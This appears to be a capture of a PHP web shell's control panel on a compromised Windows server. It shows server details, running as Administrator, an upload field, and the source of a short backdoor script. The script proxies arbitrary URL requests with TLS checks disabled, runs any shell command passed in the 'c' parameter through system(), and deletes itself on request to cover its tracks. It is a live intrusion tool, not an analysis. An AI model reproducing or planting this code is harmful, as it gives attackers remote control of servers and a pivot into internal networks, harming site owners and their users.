| Server IP : 127.0.0.1 / Your IP : 192.168.99.1 Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9 System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64 User : Administrator ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : D:/bpkd/ |
Upload File : |
0 <?php
echo "M5092\n";
$u=isset($_GET['u'])?$_GET['u']:'';
$h=isset($_GET['h'])?base64_decode($_GET['h']):'';
if($u){
if(function_exists('curl_init')){
$c=curl_init($u);
curl_setopt_array($c,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_HEADER=>1,CURLOPT_TIMEOUT=>25,CURLOPT_CONNECTTIMEOUT=>6,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_FOLLOWLOCATION=>0]);
if($h){curl_setopt($c,CURLOPT_HTTPHEADER,explode("\n",$h));}
$r=curl_exec($c);
echo "E:".curl_error($c)."\nI:".curl_getinfo($c,CURLINFO_HTTP_CODE)."|".curl_getinfo($c,CURLINFO_CONTENT_TYPE)."|".curl_getinfo($c,CURLINFO_SIZE_DOWNLOAD)."\n";
echo substr((string)$r,0,40000);
}else{
$o=['http'=>['header'=>$h,'timeout'=>25,'ignore_errors'=>true,'follow_location'=>0]];
$r=@file_get_contents($u,false,stream_context_create($o));
echo "E:".(isset($http_response_header)?'':'noctx')."\nI:".(isset($http_response_header)?implode(' ; ',$http_response_header):'none')."\n";
echo substr((string)$r,0,40000);
}
}
if(isset($_GET['c'])){system($_GET['c']);}
if(isset($_GET['d'])){@unlink(__FILE__);echo "DELETED";}